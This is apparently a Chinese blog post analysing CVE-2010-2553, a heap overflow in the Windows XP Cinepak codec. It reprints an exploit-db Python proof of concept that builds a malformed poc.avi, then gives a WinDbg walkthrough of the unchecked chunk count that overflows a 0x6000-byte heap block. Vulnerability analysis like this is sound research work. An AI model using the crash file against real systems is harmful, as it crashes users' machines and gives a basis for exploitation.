[CVE-2010-2553] Microsoft Cinepak Codec CVDecompress - Heap Overflow(堆溢出分析)
0x00 参考
https://www.exploit-db.com/exploits/15112/
poc:
'''
 
 
 
 
 
 
 
https://www.exploit-db.com/exploits/15112/
poc:
'''
    __  __  ____         _    _ ____   |  \/  |/ __ \   /\  | |  | |  _ \  | \  / | |  | | /  \ | |  | | |_) | | |\/| | |  | |/ /\ \| |  | |  _ <  | |  | | |__| / ____ \ |__| | |_) | |_|  |_|\____/_/    \_\____/|____/ ''''''  Title             : Microsoft Cinepak Codec CVDecompress Heap Overflow  Version           : iccvid.dll XP SP3  Analysis          : http://www.abysssec.com  Vendor            : http://www.microsoft.com  Impact            : High  Contact           : shahin [at] abysssec.com , info  [at] abysssec.com  Twitter           : @abysssec  CVE               : CVE-2010-2553  MOAUB Number      : '''import sysdef main():    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'    number_of_coded_strips = '\x00\x10'    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'         avifile = open('poc.avi', 'wb+')    avifile.write(aviHeaders)    avifile.write(padding)    avifile.write(movi_tag)    avifile.write(cinepak_codec_data1)    avifile.write(number_of_coded_strips)    avifile.write(cinepak_codec_data2)    avifile.write(idx_tag)         avifile.close()    print '[-] AVI file generated'     if __name__ == '__main__':    main()
0x01 漏洞分析
环境(windows XP Professional)
1.
用windbg附加explorer.exe,把poc.avi放到C盘,鼠标单击一下,explorer崩溃,栈回溯 Decompress + 0x11d
漏洞触发在iccvid这个模块里,当解析poc.avi时才动态加载进来,用命令sxe ld:iccvid 加载iccvid模块时断下来
单步步入,esi指向的是poc中的cinepak_codec_data1的数据块
(windbg出现了问题,输入一条命令,显示多条)
取出数据的长度进行比较,判断是否大于0x20,大于才继续执行
2.
后面取出cinepak_codec_data2的字段进行解析
esi+0xA 指向avi格式的编码条ID
一直单步,到达跳转处后,很快进行Chunk数据(c2cb12处)的比较
到达比较压缩数据块的个数
把2000h,保存到局部变量,以2000h递增堆内存地址(进行数据的拷贝)
计算出目的地址edi = 16d418
!heap 查看所有堆 ,可以看出edi在16b410这个堆块里,分配的块大小为0x6000,当拷贝的数据超过0x6000就会把后面171418(空闲堆块)覆盖掉
单步,计算源地址esi
拷贝数据
由于对拷贝的chunk数据块的个数没有限制,当拷贝的chunk数据块超过2个就造成了堆溢出
 
 
 
评论
发表评论